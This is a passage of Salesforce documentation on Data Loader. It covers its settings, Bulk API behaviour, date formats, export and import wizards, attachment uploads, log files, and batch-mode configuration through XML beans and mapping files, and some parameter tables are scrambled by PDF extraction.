a sandbox, change the URL to
https://test.salesforce.com.
Compression
Timeout
829
Data Management
Field
Description
Selecting this option allows you to specify that the previous
behavior, truncation, be used instead of the new behavior in
Data Loader versions 15.0 and later. This option is selected
by default and has no effect in versions 14.0 and earlier.
This option is not available if the Use Bulk API option
is selected. In that case, the load operation fails for the row
if a value is specified that is too large for the field.
830
Data Management
Field
Description
Time Zone
Valid values are any time zone identifier which can be passed
to the Java getTimeZone(java.lang.String) method.
The value can be a full name such as
America/Los_Angeles, or a custom ID such as
GMT-8:00.
Proxy host
Proxy port
Proxy username
Proxy password
Start at row
If your last operation failed, you can use this setting to begin
where the last successful operation finished.
Enabling the Bulk API in Data Loader allows you to load or delete a large number of records faster than using the default
SOAP-based API. However, there are some differences in behavior in Data Loader when you enable the Bulk API. One
important difference is that it allows you to execute a hard delete if you have the permission and license. See Configuring Data
Loader on page 828.
The following settings are not available on the Settings > Settings page in Data Loader when the Use Bulk API option is
selected:
831
Data Management
This option enables Data Loader to insert blank mapped values as null values during data operations when the Bulk
API is disabled. Empty field values are ignored when you update records using the Bulk API. To set a field value to
null when the Use Bulk API option is selected, use a field value of #N/A.
Allow field truncation
This option directs Data Loader to truncate data for certain field types when the Bulk API is disabled. A load operation
fails for the row if a value is specified that is too large for the field when the Use Bulk API option is selected.
The Bulk API is optimized to load or delete a large number of records asynchronously. It is faster than the SOAP-based API
due to parallel processing and fewer network round-trips. By default, Data Loader uses the SOAP-based API to process
records.
To configure Data Loader to use the Bulk API for inserting, updating, upserting, deleting, and hard deleting records:
1.
2.
3.
4.
Start Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader.
Choose Settings > Settings.
Select the Use Bulk API option.
Click OK.
Note: You can also select the Enable serial mode for Bulk API option. Processing in parallel can cause
database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed
one at a time. Note that using this option may significantly increase the processing time for a load.
Caution: When you select the Hard Delete operation, the deleted records are not stored in the Recycle Bin. Instead,
they become immediately eligible for deletion. The permission for this operation, Bulk API Hard Delete, is disabled
by default and must be enabled by an administrator. A Salesforce user license is required for hard delete.
832
Date Formats
We recommend you specify dates in the format yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm:
yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
yyyy-MM-dd'T'HH:mm:ss.SSS Pacific Standard Time
yyyy-MM-dd'T'HH:mm:ss.SSSPacific Standard Time
yyyy-MM-dd'T'HH:mm:ss.SSS PST
yyyy-MM-dd'T'HH:mm:ss.SSSPST
yyyy-MM-dd'T'HH:mm:ss.SSS GMT-08:00
yyyy-MM-dd'T'HH:mm:ss.SSSGMT-08:00
yyyy-MM-dd'T'HH:mm:ss.SSS -800
yyyy-MM-dd'T'HH:mm:ss.SSS-800
yyyy-MM-dd'T'HH:mm:ss
833
Data Management
yyyy-MM-dd HH:mm:ss
yyyyMMdd'T'HH:mm:ss
yyyy-MM-dd
MM/dd/yyyy HH:mm:ss
MM/dd/yyyy
To enable date formats that begin with the day rather than the month, select the Use European date format
box in the Settings dialog. European date formats are dd/MM/yyyy and dd/MM/yyyy HH:mm:ss.
If your computer's locale is east of Greenwich Mean Time (GMT), we recommend that you change your computer
setting to GMT in order to avoid date adjustments when inserting or updating records.
Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after
midnight on January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on
December 31, 4000.
Note: These values are offset by your time zone. For example, in the Pacific time zone, the earliest valid
date is 1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.
Double
Standard double string
ID
A Salesforce ID is a case-sensitive 15-character or caseinsensitive 18-character alphanumeric string that uniquely
identifies a particular record.
Tip: To ensure data quality, make sure that all Salesforce IDs you enter in Data Loader are in the correct case.
Integer
Standard integer string
String
All valid XML strings; invalid XML characters are removed.
834
Data Management
Exporting Data
Exporting Data
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
You can use the Data Loader export wizard to extract data from any Salesforce object. When you export, you can choose to
include (Export All) or exclude (Export) soft-deleted records.
1. Start the Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader.
2. Click Export or Export All . These commands can also be found in the File menu.
3. Enter your Salesforce username and password. Click Log in to log in. After your login completes successfully, click Next.
(Until you log out or close the program, you will not be asked to log in again.)
If your organization restricts IP addresses, logins from untrusted IPs are blocked until theyre activated. Salesforce
automatically sends you an activation email that you can use to log in. The email contains a security token that you must
add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in.
4. Choose an object. For example, select the Account object. If your object name does not display in the default list, check
Show all objects to see a complete list of objects that you can access. The objects will be listed by localized label
name, with developer name noted in parentheses. For object descriptions, see the SOAP API Developer's Guide.
5. Click Browse... to select the CSV file to which the data will be exported. You can enter a new file name to create a new
file or choose an existing file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.
6. Click Next.
7. Create a SOQL query for the data export. For example, check Id and Name in the query fields and click Finish. As you
follow the next steps, you will see that the CSV viewer displays all the Account names and their IDs. SOQL is the Salesforce
Object Query Language that allows you to construct simple but powerful query strings. Similar to the SELECT command
in SQL, SOQL allows you to specify the source object, a list of fields to retrieve, and conditions for selecting rows in the
source object.
a. Choose the fields you want to export.
b. Optionally, select conditions to filter your data set. If you do not select any conditions, all the data to which you have
read access will be returned.
c. Review the generated query and edit if necessary.
Tip: You can use a SOQL relationship query to include fields from a related object. For example:
Select Name, Pricebook2Id, Pricebook2.Name, Product2Id, Product2.ProductCode FROM
PricebookEntry WHERE IsActive = true
835
Data Management
Or:
Select Id, LastName, Account.Name FROM Contact
When using relationship queries in Data Loader, the fully specified field names are case-sensitive. For example,
using ACCOUNT.NAME instead of Account.Name does not work.
Data Loader does not support nested queries or querying child objects. For example, queries similar to the following
return an error:
SELECT Amount, Id, Name, (SELECT Quantity, ListPrice,
PriceBookEntry.UnitPrice, PricebookEntry.Name,
PricebookEntry.product2.Family FROM OpportunityLineItems)
FROM Opportunity
For more information on SOQL, see the Salesforce SOQL and SOSL Reference Guide.
8. Click Finish, then click Yes to confirm.
9. A progress information window reports the status of the operation.
10. After the operation completes, a confirmation window summarizes your results. Click View Extraction to view the CSV
file, or click OK to close. For more details, see Reviewing Output Files on page 841.
Note: Data Loader currently does not support the extraction of attachments. As a workaround, we recommend that
you use the weekly export feature in the online application to export attachments.
Whenever you insert, delete, or update files, use the Mapping Dialog window to associate Salesforce fields with the columns
of your CSV file. For more information, see Inserting, Updating, or Deleting Data Using Data Loader on page 837.
1. To automatically match fields with columns, click Auto-Match Fields to Columns. The Data Loader automatically
populates the list at the bottom of the window, based on the similarity of field and column names. Note that for a delete
operation, automatic matching works only on the ID field.
2. To manually match fields with columns, click and drag fields from the list of Salesforce fields at the top to the list of CSV
column header names at the bottom. For example, if you are inserting new Account records where your CSV file contains
the names of new accounts, click and drag the Name field to the right of the NAME column header field.
3. Optionally, click Save Mapping to save this mapping for future use. Specify a name for the SDL mapping file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.
4. Click OK to use your mapping for the current operation.
836
Data Management
To update records:
To upsert records:
To delete records:
The insert, update, upsert, delete, and hard delete wizards in Data Loader allow you to add new records, modify existing
records, or delete existing records. Note that upsert is a combination of inserting and updating - if a record in your file
matches an existing record, the existing record is updated with the values in your file. If no match is found, then the record is
created as new. When you hard delete records, the deleted records are not stored in the Recycle Bin and become immediately
eligible for deletion. For more information, see Configuring Data Loader on page 828.
1. Start Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader.
2. Click Insert, Update, Upsert, Delete or Hard Delete. These commands can also be found in the File menu.
3. Enter your Salesforce username and password. Click Log in to log in. After your login completes successfully, click Next.
(Until you log out or close the program, you are not asked to log in again.)
If your organization restricts IP addresses, logins from untrusted IPs are blocked until theyre activated. Salesforce
automatically sends you an activation email that you can use to log in. The email contains a security token that you must
add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in.
4. Choose an object. For example, if you are inserting Account records, select Account. If your object name does not display
in the default list, check Show all objects to see a complete list of the objects that you can access. The objects are
listed by localized label name, with developer name noted in parentheses. For object descriptions, see the Object Reference
for Salesforce and Force.com.
5. Click Browse... to select your CSV file. For example, if you are inserting Account records, you could specify a CSV file
named insertaccounts.csv containing a Name column for the names of the new accounts.
6. Click Next. After the object and CSV file are initialized, click OK.
7. If you are performing an upsert:
a. Your CSV file must contain a column of ID values for matching against existing records. The column may be either
an external ID (a custom field with the External ID attribute), or Id (the Salesforce record ID). From the drop-down
list, select which field to use for matching. If the object has no external ID fields, Id is automatically used. For more
information on external IDs, see Custom Field Attributes on page 1081. Click Next to continue.
b. If your file includes the external IDs of an object that has a relationship to your chosen object, enable that external ID
for record matching by selecting its name from the drop-down list. If you make no selection here, you can use the
related object's Id field for matching by mapping it in the next step. Click Next to continue.
837
Data Management
8. Define how the columns in your CSV file map to Salesforce fields. Click Choose an Existing Map to select an existing
field mapping, or click Create or Edit a Map to create a new map or modify an existing map. For more details and an
example of usage, see Defining Field Mappings on page 836.
9. Click Next.
10. For every operation, the Data Loader generates two unique CSV log files; one file name starts with success, while the
other starts with error. Click Browse... to specify a directory for these files.
11. Click Finish to perform the operation, and then click Yes to confirm.
12. As the operation proceeds, a progress information window reports the status of the data movement.
13. After the operation completes, a confirmation window summarizes your results. Click View Successes to view your success
file, click View Errors to open your errors file, or click OK to close. For more information, see Reviewing Output Files
on page 841.
Tip:
If you are updating or deleting large amounts of data, review Performing Mass Updates and Performing Mass
Deletes for tips and best practices.
There is a five-minute limit to process 100 records when the Bulk API is enabled. Also, if it takes longer than 10
minutes to process a file, the Bulk API places the remainder of the file back in the queue for later processing. If
the Bulk API continues to exceed the 10-minute limit on subsequent attempts, the file is placed back in the queue
and reprocessed up to 10 times before the operation is permanently marked as failed. Even if the processing failed,
some records could have completed successfully, so you must check the results. If you get a timeout error when
loading a file, split your file into smaller files, and try again.
To update a large number of records at one time, we recommend the following steps:
1. Obtain your data by performing an export of the objects you wish to update, or by running a report. See Exporting Data
on page 835, or Running Reports on page 2921. Make sure your report includes the record ID.
2. As a backup measure, save an extra copy of the generated CSV file.
3. Open your working file in a CSV editor such as Excel, and update your data.
4. Launch Data Loader and follow the update wizard. Note that matching is done according to record ID. See Inserting,
Updating, or Deleting Data Using Data Loader on page 837.
5. After the operation, review your success and error log files. See Reviewing Output Files on page 841.
6. If you made a mistake, use the backup file to update the records to their previous values.
838
Data Management
Uploading Attachments
To delete a large number of records at one time using Data Loader, we recommend the following steps:
1. As a backup measure, export the objects you wish to delete, being sure to select all fields. (See Exporting Data on page
835.) Save an extra copy of the generated CSV file.
2. Next, export the objects you wish to delete, this time using only the record ID as the desired criteria.
3. Launch the Data Loader and follow the delete or hard delete wizard. Map only the ID column. See Inserting, Updating,
or Deleting Data Using Data Loader on page 837.
4. After the operation, review your success and error log files. See Reviewing Output Files on page 841.
Uploading Attachments
You can use Data Loader to upload attachments to Salesforce. Before uploading attachments, note the following:
If you intend to upload via the Bulk API, verify that Upload Bulk API Batch as Zip File on the Settings >
Settings page is enabled.
If you are migrating attachments from a source Salesforce organization to a target Salesforce organization, begin by
requesting a data export for the source organization. On the Schedule Export page, make sure to select the Include
Attachments... checkbox, which causes the file Attachment.csv to be included in your export. You can use this
CSV file to upload the attachments. For more information on the export service, see Exporting Backup Data on page 750.
To upload attachments:
1. Confirm that the CSV file you intend to use for attachment importing contains the following required columns (each
column represents a Salesforce field):
Ensure that the values in the Body column contain the full file name of the attachments as they exist on your computer.
For example, if an attachment named myattachment.jpg is located on your computer at C:\Export, Body must
specify C:\Export\myattachment.jpg. Your CSV file might look like this:
ParentId,Name,Body
50030000000VDowAAG,attachment1.jpg,C:\Export\attachment1.gif
701300000000iNHAAY,attachment2.doc,C:\Export\files\attachment2.doc
The CSV file can also include other optional Attachment fields, such as Description.
2. Proceed with an insert or upsert operation; see Inserting, Updating, or Deleting Data Using Data Loader on page 837. At
the Select data objects step, make sure to select the Show all Salesforce objects checkbox and the
Attachment object name in the list.
839
Data Management
You can use Data Loader to bulk upload documents and links into libraries in Salesforce CRM Content. Before uploading
documents or links, note the following:
If you intend to upload via the Bulk API, verify that Upload Bulk API Batch as Zip File on the Settings >
Settings page is enabled.
When you upload a document from your local drive using Data Loader, you must specify the actual path in the
VersionData and PathOnClient fields in the CSV file. VersionData identifies the location and extracts the format
and PathOnClient identifies the type of document being uploaded.
When you upload a link using the Data Loader, you must specify the URL in ContentUrl. Do not use PathOnClient
or VersionData to upload links.
You can't export content using the Data Loader.
Note: If there are commas in the description, use double quotes around the text.
VersionData - complete file path on your local drive (for uploading documents only).
Note: Files are converted to base64 encoding on upload. This adds approximately 30% to the file size.
PathOnClient - complete file path on your local drive (for uploading documents only).
ContentUrl - URL (for uploading links only).
OwnerId - (optional) file owner, defaults to the user uploading the file.
FirstPublishLocationId - library ID.
RecordTypeId - content type ID.
Note: If you publish to a library that has restricted content types, you must specify RecordTypeId.
To determine the RecordTypeId values for your organization using Data Loader, follow the steps in Exporting Data.
Your SOQL query might look like this:
Select Id, Name FROM RecordType WHERE SobjectType = 'ContentVersion'
To determine the RecordTypeId values for your organization using the AJAX Toolkit:
a. Log in to Salesforce.
840
Data Management
in to Salesforce.
c. In the AJAX Toolkit Shell page type:
sforce.connection.describeSObject("ContentVersion")
d. Press Enter.
e. Click on the arrows for recordTypeInfos.
All of the RecordTypeId values for your organization are listed.
2. Upload the CSV file for the ContentVersion object; see Inserting, Updating, or Deleting Data Using Data Loader on page
837. All documents and links will be available in the specified library.
After every import or export, Data Loader generates two CSV output files that contain the results of the operation. One file
name starts with success, while the other starts with error. During every export, Data Loader saves the extracted data to a
CSV file that you specify in the wizard. Data Loader has a built-in CSV file viewer with which you can open and view these
files.
To view output files from a Data Loader operation:
1. Choose View > View CSV.
2. Specify the number of rows to view. Each row in the CSV file corresponds to one Salesforce record. The default is 1000.
3. To view a CSV file of your choice, click Open CSV. To view the last success file, click Open Success. To view the last
error file, click Open Error. The CSV file opens in a new window.
4. Optionally, click Open in External Program to open the file in the associated external program, such as Microsoft Office
Excel.
The success file contains all of the records that were successfully loaded. In this file, there's a column for the newly
generated record IDs. The error file contains all of the records that were rejected from the load operation. In this file,
there's a column that describes why the load failed.
5. Click Close to return to the CSV Chooser window, and then click OK to exit the window.
841
Note: To generate success files when exporting data, select the Generate status files for exports setting.
For more information, see Configuring Data Loader on page 828.
If you need to investigate a problem with Data Loader, or if requested by salesforce.com Customer Support, you can access
log files that track the operations and network connections made by Data Loader. The two log files are:
sdl.log
Contains a detailed chronological list of Data Loader log entries. Log entries marked INFO are procedural items, such
as logging in to Salesforce. Log entries marked ERROR are problems such as a submitted record missing a required
field.
sdl_out.log
A supplemental log that contains additional information not captured in sdl.log. For example, it includes log entries for
the creation of proxy server network connections.
These files can be opened with commonly available text editor programs, such as Microsoft Notepad.
You can quickly open these files by entering %TEMP%\sdl.log and %TEMP%\sdl_out.log in either the Run dialog or
the Windows Explorer address bar.
If you are having login issues from the command line, ensure that the password provided in the configuration parameters is
encrypted. If you are having login issues from the UI, you may need to obtain a new security token.
You can run Data Loader in batch mode from the command line. See the following topics:
842
Data Management
Note: If you have used the batch mode from the command line with a version earlier than 8.0, see Upgrading Your
Batch Mode Interface on page 844.
In versions 8.0 and later, installing the Data Loader creates several directories under the installation directory. The following
directories are involved in running the program from the command line for automated batch processing:
bin
Contains the batch files encrypt.bat for encrypting passwords and process.bat for running batch processes.
For information on running the Data Loader from the command line, see Using the Command Line Interface on page
845.
conf
The default configuration directory. Contains the configuration files config.properties, Loader.class, and
log-conf.xml.
The config.properties file that is generated when you modify the Settings dialog in the graphical user interface is
located at C:\Documents and Settings\your Windows username\Application
Data\salesforce.com\Data Loader version_number. You can copy this file to the conf installation directory
to use it for batch processes.
samples
Contains subdirectories of sample files for reference.
File Path Convention
The file paths provided in these topics start one level below the installation directory. For example, \bin means C:\Program
Files \salesforce.com\Data Loader version_number\bin, provided you accepted the default installation directory.
If you installed the program to a different location, please substitute that directory path as appropriate.
When running Data Loader in batch mode from the command line, you must encrypt the following configuration parameters:
843
Data Management
sfdc.password
sfdc.proxyPassword
The batch mode interface in Data Loader versions 8.0 and later arent backwards-compatible with earlier versions. If youre
using a version earlier than 8.0 to run batch processes, your options are as follows:
Maintain the old version for batch use
Do not uninstall your old version of Data Loader. Continue to use that version for batch processes. You cant take
advantage of newer features such as database connectivity, but your integrations will continue to work. Optionally, install
the new version alongside the old version and dedicate the old version solely to batch processes.
Generate a new config.properties file from the new GUI
If you originally generated your config.properties file from the graphical user interface, use the new version to set
the same properties and generate a new file. Use this new file with the new batch mode interface. For more information,
see Using the Command Line Interface on page 845.
Manually update your config.properties file
If your old config.properties file was created manually, then you must manually update it for the new version. For
more information, see Understanding Installed Directories and Files on page 843.
844
Data Management
For automated batch operations such as nightly scheduled loads and extractions, run Data Loader from the command line.
Before running any batch operation, be sure to include your encrypted password in the configuration file. For more information,
see Command Line Quick Start on page 861 and Encrypting From the Command Line on page 843. From the command line,
navigate to the bin directory and type process.bat, which takes the following parameters:
For more information about using process.bat, see Running Individual Batch Processes on page 860.
To view tips and instructions, add -help to the command contained in process.bat.
Data Loader runs whatever operation, file, or map is specified in the configuration file that you specify. If you do not specify
a configuration directory, the current directory is used. By default, Data Loader configuration files are installed at the following
location:
C:\Program Files\salesforce.com\Data Loader version number\conf
You use the process-conf.xml file to configure batch processing. Set the name of the process in the bean element's id
attribute: (for example <bean id="myProcessName">).
If you want to implement enhanced logging, use a copy of log-conf.xml.
You can change parameters at runtime by giving param=value as program arguments. For example, adding
process.operation=insert to the command changes the configuration at runtime.
You can set the minimum and maximum heap size. For example, -Xms256m -Xmx256m sets the heap size to 256 MB.
Note: These topics only apply to Data Loader version 8.0 and later.
Tip:
If you experience login issues in the command line interface after upgrading to a new version of Data Loader, please
try re-encrypting your password to solve the problem. For information on the password encryption utility, see Encrypting
From the Command Line on page 843.
Use \samples\conf\process-conf.xml to configure your Data Loader processes, which are represented by ProcessRunner
beans. A process should have ProcessRunner as the class attribute and the following properties set in the configuration
file:
845
Data Management
name
Sets the name of the ProcessRunner bean. This value is also used as the non-generic thread name and for configuration
backing files (see below).
configOverrideMap
A property of type map where each entry represents a configuration setting: the key is the setting name; the value is the
setting value.
enableLastRunOutput
If set to true (the default), output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are generated and saved to the location specified by
lastRunOutputDirectory. If set to false, the files are not generated or saved.
lastRunOutputDirectory
The directory location where output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are written. The default value is \conf. If enableLastRunOutput
is set to false, this value is not used because the files are not generated.
The configuration backing file stores configuration parameter values from the last run for debugging purposes, and is used to
load default configuration parameters in config.properties. The settings in configOverrideMap take precedence over
those in the configuration backing file. The configuration backing file is managed programmatically and does not require any
manual edits.
For the names and descriptions of available process configuration parameters, see Data Loader Process Configuration Parameters
on page 846.
When running Data Loader from the command line, you can specify the following configuration parameters in the
process-conf.xml file. In some cases, the parameter is also represented in the graphical user interface at Settings > Settings.
Tip: A sample process-conf.xml file can be found in the \samples directory that's installed with Data Loader.
Parameter Name
Data
Type
Equivalent
Option in
Settings
Dialog
Description
dataAccess.readUTF8
boolean
846
Data Management
Parameter Name
dataAccess.writeUTF8
dataAccess.name
Data
Type
boolean
string
Equivalent
Option in
Settings
Dialog
Description
Not
applicable
(N/A)
integer
N/A
Sample value: 50
Standard or custom data source type. Standard
types are csvWriter, csvRead,
databaseWrite, and databaseRead.
dataAccess.type
string
N/A
dataAccess.writeBatchSize
process.enableExtractSuccessOutput
process.enableLastRunOutput
integer
N/A
boolean
boolean
N/A
847
Data Management
Parameter Name
Data
Type
Equivalent
Option in
Settings
Dialog
Description
process.encryptionKeyFile
string
(file
name)
date
N/A
example: 2006-04-13T13:50:32.423-0700
When running Data Loader in batch mode, you
can change the location where output files such
as
sendAccountsFile_lastRun.properties
process.lastRunOutputDirectory
string
(directory) N/A
process.loadRowToStartAt
process.mappingFile
number
string
(file
name)
Start at
row
N/A
c:\dataloader\conf\accountExtractMap.sdl
848
Data Management
Parameter Name
Data
Type
Equivalent
Option in
Settings
Dialog
Description
process.statusOutputDirectory
process.outputError
string
N/A
string
(directory) N/A
string
(file
name)
N/A
c:\dataloader\status\myProcessErrors.csv
process.outputSuccess
process.useEuropeanDates
on page 847.
string
(file
name)
N/A
c:\dataloader\status\myProcessSuccesses.csv
boolean
Use
European
date
format
Sample value:
sfdc.assignmentRule
string
Assignment
Sample value: 03Mc00000026J7w
rule
integer
N/A
849
Data Management
Parameter Name
sfdc.bulkApiSerialMode
sfdc.bulkApiZipContent
Data
Type
boolean
boolean
Equivalent
Option in
Settings
Dialog
Enable
serial
mode for
Bulk API
Upload
Bulk API
Batch as
Zip File
Description
sfdc.connectionTimeoutSecs
integer
N/A
Sample value: 60
If true, enables SOAP message debugging. By
default, messages are sent to STDOUT unless
you specify an alternate location in
sfdc.debugMessagesFile.
sfdc.debugMessages
boolean
N/A
sfdc.debugMessagesFile
string
(file
name)
\lexiloader\status\sfdcSoapTrace.log
boolean
N/A
850
Data Management
Parameter Name
Data
Type
Equivalent
Option in
Settings
Dialog
Description
sfdc.endpoint
URL
Server
host
string
N/A
sfdc.externalIdField
sfdc.extractionRequestSize
string
integer
N/A
Query
request
size
sfdc.extractionSOQL
sfdc.insertNulls
sfdc.loadBatchSize
string
boolean
integer
N/A
Insert
null
values
Batch
size
851
Data Management
Parameter Name
Data
Type
Equivalent
Option in
Settings
Dialog
Description
integer
N/A
Sample value: 3
The minimum number of seconds to wait
between connection retries. The wait time
increases with each try. See
sfdc.enableRetries on page 850.
sfdc.minRetrySleepSecs
integer
N/A
Sample value: 2
Compression enhances the performance of Data
Loader and is turned on by default. You may want
to disable compression if you need to debug the
underlying SOAP messages. To turn off
compression, enable this option.
sfdc.noCompression
sfdc.password
boolean
encrypted
string
N/A
sfdc.proxyHost
sfdc.proxyPassword
URL
Proxy
host
encrypted Proxy
string
password
Sample value:
http://myproxy.internal.company.com
sfdc.proxyPort
integer
Proxy
port
string
Proxy
username
sfdc.proxyUsername
852
Data Management
Parameter Name
Data
Type
Equivalent
Option in
Settings
Dialog
Description
boolean
Reset URL
on Login Valid values: true (default), false
integer
Timeout
sfdc.timezone
string
sfdc.truncateFields
boolean
Allow
field
Selecting this option allows you to specify that
truncation the previous behavior, truncation, be used instead
853
Data Management
Parameter Name
Data
Type
Equivalent
Option in
Settings
Dialog
Description
boolean
Use Bulk
API
sfdc.username
string
N/A
When running Data Loader in batch mode from the command line, several operations are supported. An operation represents
the flow of data between Salesforce and an external data source such as a CSV file or a database. See the following list of
operation names and descriptions.
Extract
Uses a Salesforce Object Query Language to export a set of records from Salesforce, then writes the exported data to a
data source. Soft-deleted records are not included.
Extract All
Uses a Salesforce Object Query Language to export a set of records from Salesforce, including both existing and soft-deleted
records, then writes the exported data to a data source.
Insert
Loads data from a data source into Salesforce as new records.
854
Data Management
Update
Loads data from a data source into Salesforce, where existing records with matching ID fields are updated.
Upsert
Loads data from a data source into Salesforce, where existing records with a matching custom external ID field are
updated; records without matches are inserted as new records.
Delete
Loads data from a data source into Salesforce, where existing records with matching ID fields are deleted.
Hard Delete
Loads data from a data source into Salesforce, where existing records with matching ID fields are deleted without being
stored first in the Recycle Bin.
When you run Data Loader in batch mode from the command line, use \samples\conf\database-conf.xml to configure
database access objects, which you use to extract data directly from a database.
DatabaseConfig Bean
The top-level database configuration object is the DatabaseConfig bean, which has the following properties:
sqlConfig
The SQL configuration bean for the data access object that interacts with a database.
dataSource
The bean that acts as database driver and authenticator. It must refer to an implementation of javax.sql.DataSource
such as org.apache.commons.dbcp.BasicDataSource.
The following code is an example of a DatabaseConfig bean:
<bean id="AccountInsert"
class="com.salesforce.dataloader.dao.database.DatabaseConfig"
singleton="true">
<property name="sqlConfig" ref="accountInsertSql"/>
</bean>
DataSource
The DataSource bean sets the physical information needed for database connections. It contains the following properties:
driverClassName
The fully qualified name of the implementation of a JDBC driver.
url
The string for physically connecting to the database.
855
Data Management
username
The username for logging in to the database.
password
The password for logging in to the database.
Depending on your implementation, additional information may be required. For example, use
org.apache.commons.dbcp.BasicDataSource when database connections are pooled.
The following code is an example of a DataSource bean:
<bean id="oracleRepDataSource"
class="org.apache.commons.dbcp.BasicDataSource"
destroy-method="close">
<property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/>
<property name="url" value="jdbc:oracle:thin:@myserver.salesforce.com:1521:TEST"/>
<property name="username" value="test"/>
<property name="password" value="test"/>
</bean>
The Data Loader configuration files are based on the Spring Framework, which is an open source full-stack Java/J2EE
application framework.
The Spring Framework allows you to use XML files to configure beans. Each bean represents an instance of an object; the
parameters correspond to each object's setter methods. A typical bean has the following attributes:
id
Uniquely identifies the bean to XmlBeanFactory, which is the class that gets objects from an XML configuration file.
class
Specifies the implementation class for the bean instance.
For more information on the Spring Framework, see the official documentation and the support forums. Note that salesforce.com
cannot guarantee the availability or accuracy of external websites.
When running Data Loader in batch mode from the command line, several data access objects are supported. A data access
object allows access to an external data source outside of Salesforce. They can implement a read interface (DataReader), a
write interface (DataWriter), or both. See the following list of object names and descriptions.
856
Data Management
csvRead
Allows the reading of a comma or tab-delimited file. There should be a header row at the top of the file that describes
each column.
csvWrite
Allows writing to a comma or tab-delimited file. A header row is added to the top of the file based on the column list
provided by the caller.
databaseRead
Allows the reading of a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 855.
databaseWrite
Allows writing to a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 855.
SQL Configuration
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
When running Data Loader in batch mode from the command line, the SqlConfig class contains configuration parameters
for accessing specific data in the database. As shown in the code samples below, queries and inserts are different but very
similar. The bean must be of type com.salesforce.dataloader.dao.database.SqlConfig and have the following
properties:
sqlString
A property of type map that contains descriptions of the replacement parameters specified in sqlString. Each entry
represents one replacement parameter: the key is the replacement parameter's name, the value is the fully qualified Java
type to be used when the parameter is set on the SQL statement. Note that java.sql types are sometimes required, such
as java.sql.Date instead of java.util.Date. For more information, see the official JDBC API documentation.
columnNames
Used when queries (SELECT statements) return a JDBC ResultSet. Contains column names for the data outputted
by executing the SQL. The column names are used to access and return the output to the caller of the DataReader
interface.
SQL Query Bean Example
<bean id="accountMasterSql"
class="com.salesforce.dataloader.dao.database.SqlConfig"
singleton="true">
857
Data Management
<property name="sqlString"/>
<value>
SELECT distinct
'012x00000000Ij7' recordTypeId,
accounts.account_number,
org.organization_name,
concat (concat(parties.address1, ' '), parties.address2) billing_address,
locs.city,
locs.postal_code,
locs.state,
locs.country,
parties.sic_code
from
ar.hz_cust_accounts accounts,
ar.hz_organization_profiles org,
ar.hz_parties parties,
ar.hz_party_sites party_sites,
ar.hz_locations locs
where
accounts.PARTY_ID = org.PARTY_ID
and parties.PARTY_ID = accounts.PARTY_ID
and party_sites.PARTY_ID = accounts.PARTY_ID
and locs.LOCATION_ID = party_sites.LOCATION_ID
and (locs.last_update_date > @process.lastRunDate@ OR
accounts.last_update_date > @process.lastRunDate@
</value>
</property>
<property name="columNames">
<list>
<value>recordTypeId</value>
<value>account_number</value>
<value>organization_name</value>
<value>billing_address</value>
<value>city</value>
<value>postal_code</value>
<value>state</value>
<value>country</value>
<value>sic_code</value>
</list>
</property>
<property name="sqlParams">
<map>
<entry key="process.lastRunDate" value="java.sql.Date"/>
</map>
</property>
</bean>
858
Data Management
Mapping Columns
Mapping Columns
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
When running Data Loader in batch mode from the command line, you must create a properties file that maps values between
Salesforce and data access objects.
1. Create a new mapping file and give it an extension of .sdl.
2. Observe the following syntax:
3. In your configuration file, use the parameter process.mappingFile to specify the name of your mapping file.
Column Mapping Example for Data Insert
The Salesforce fields are on the right.
SLA__C=SLA__c
BILLINGCITY=BillingCity
SYSTEMMODSTAMP=
OWNERID=OwnerId
CUSTOMERPRIORITY__C=CustomerPriority__c
ANNUALREVENUE=AnnualRevenue
DESCRIPTION=Description
BILLINGSTREET=BillingStreet
SHIPPINGSTATE=ShippingState
859
Data Management
If you have multiple fields that should contain the same value, you must specify the constant and the field names separated by
commas. For example, if youre importing data, the syntax would be "constantvalue"=field1, field2.
Heres an example of an .sdl file for inserting data. The Salesforce fields are on the right. The first two lines map a data
source to a destination field, and the last three lines map a constant to a destination field.
Name=Name
NumEmployees=NumberOfEmployees
"Aerospace"=Industry
"California"=BillingState, ShippingState
"New"=Customer_Type__c
A constant must contain at least one alphanumeric character. If you specify a constant value that contains spaces, the spaces
are removed when the field data is imported or exported.
To start an individual batch process use \bin\process.bat, which requires the following parameters:
A configuration directory
The default is \conf.
To use an alternate directory, create a new directory and add the following files to it:
A process name
The name of the ProcessRunner bean from \samples\conf\process-conf.xml.
Process Example
process ../conf accountMasterProcess
Note: You can configure external process launchers such as the Microsoft Windows XP Scheduled Task Wizard to
run processes on a schedule.
860
Introduction
See Also:
Prerequisites
Prerequisites
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
To step through this quick start, you should have the following:
Data Loader installed on the computer that runs the command line process.
The Java Runtime Environment (JRE) installed on the computer that runs the command line process.
Familiarity with importing and exporting data by using the Data Loader interactively through the user interface. This
makes it easier to understand how the command line functionality works.
861
Data Management
Tip: When you install Data Loader, sample files are installed in the samples directory. This directory is found below
the program directory, for example, C:\Program Files (x86)\salesforce.com\Apex Data Loader
22.0\samples\. Examples of files that are used in this quick start can be found in the \samples\conf directory.
See Also:
Introduction
Step One: Create the Encryption Key
